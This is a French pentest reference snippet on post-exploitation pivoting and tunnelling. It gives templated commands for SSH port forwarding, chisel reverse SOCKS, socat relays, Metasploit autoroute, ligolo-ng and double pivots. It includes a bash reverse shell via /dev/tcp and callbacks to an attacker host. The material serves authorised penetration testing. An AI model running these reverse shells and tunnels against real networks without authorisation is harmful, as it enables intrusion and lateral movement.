---
title: "Pivoting & Tunneling"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [pivoting, tunneling, chisel, ssh, proxychains, socks5]
difficulty: advanced
status: stable
updated: "2025-05-10"
---
## SSH Tunneling

### Port forwarding local

```bash
# Accéder au port {{REMOTE_PORT}} de la cible via localhost:{{LOCAL_PORT}}
ssh -L {{LOCAL_PORT}}:{{TARGET_INTERNAL}}:{{REMOTE_PORT}} {{USER}}@{{PIVOT_HOST}}

# Exemple : accéder à RDP interne
ssh -L 3389:192.168.1.10:3389 user@pivot.host
```

### Port forwarding distant (reverse)

```bash
# Exposer un port local sur le pivot (utile quand la cible est derrière NAT)
ssh -R {{REMOTE_PORT}}:localhost:{{LOCAL_PORT}} {{USER}}@{{PIVOT_HOST}}
```

### Dynamic SOCKS proxy

```bash
# Créer un proxy SOCKS5 sur localhost:1080
ssh -D 1080 -N {{USER}}@{{PIVOT_HOST}}

# Configurer proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# Scanner via le proxy
proxychains nmap -sT -Pn {{TARGET_INTERNAL}}
proxychains curl http://{{TARGET_INTERNAL}}
```

## Chisel

### Serveur (côté attaquant)

```bash
# SOCKS5 reverse
./chisel server -p {{CHISEL_PORT}} --reverse

# Écoute sur 0.0.0.0:{{CHISEL_PORT}}
```

### Client (côté cible)

```bash
# Reverse SOCKS5
./chisel client {{LHOST}}:{{CHISEL_PORT}} R:socks

# Reverse port forward
./chisel client {{LHOST}}:{{CHISEL_PORT}} R:{{LOCAL_PORT}}:{{TARGET_INTERNAL}}:{{REMOTE_PORT}}
```

### Configurer proxychains après chisel

```bash
# /etc/proxychains4.conf
socks5 127.0.0.1 1080

# Utiliser
proxychains evil-winrm -i {{TARGET_INTERNAL}} -u {{USER}} -p {{PASSWORD}}
proxychains python3 -m impacket.smbclient //{{TARGET_INTERNAL}}/share
```

## Socat

### Port relay simple

```bash
# Sur le pivot : relayer les connexions vers la cible interne
socat TCP-LISTEN:{{LOCAL_PORT}},fork TCP:{{TARGET_INTERNAL}}:{{REMOTE_PORT}}
```

### Relay reverse shell

```bash
# Sur le pivot (écoute et relaie vers l'attaquant)
socat TCP-LISTEN:{{RELAY_PORT}},fork TCP:{{LHOST}}:{{LPORT}}

# Sur la cible (reverse shell vers le pivot)
bash -i >& /dev/tcp/{{PIVOT_HOST}}/{{RELAY_PORT}} 0>&1
```

## Metasploit — route et SOCKS

```bash
# Dans meterpreter sur le pivot
run post/multi/manage/autoroute SUBNET={{INTERNAL_SUBNET}} NETMASK=255.255.255.0

# Ajouter une route manuelle
background
route add {{INTERNAL_SUBNET}}/24 {{SESSION_ID}}

# Créer un SOCKS proxy Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run

# Utiliser proxychains
proxychains nmap -sT {{TARGET_INTERNAL}}
```

## Ligolo-ng

### Serveur (attaquant)

```bash
./proxy -selfcert -laddr 0.0.0.0:11601
```

### Agent (cible / pivot)

```bash
./agent -connect {{LHOST}}:11601 -ignore-cert
```

### Dans la console Ligolo

```bash
# Lister les sessions
session
# Sélectionner la session
1

# Démarrer le tunnel
start

# Ajouter une route réseau (côté attaquant)
ip route add {{INTERNAL_SUBNET}}/24 dev ligolo

# Accès direct sans proxychains
nmap {{TARGET_INTERNAL}}
```

## Double pivot

```bash
# Chisel : attaquant -> pivot1 -> pivot2 -> cible
# Sur attaquant :
./chisel server -p 8080 --reverse

# Sur pivot1 :
./chisel client {{LHOST}}:8080 R:1080:socks

# Via proxychains, lancer un deuxième chisel depuis pivot1 vers pivot2
proxychains ./chisel client {{PIVOT2}}:8080 R:1081:socks

# /etc/proxychains4.conf
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
```

<Tip>
Ligolo-ng est généralement plus performant que chisel pour les environnements avec beaucoup de trafic. Chisel est plus simple à déployer pour des accès ponctuels.
</Tip>
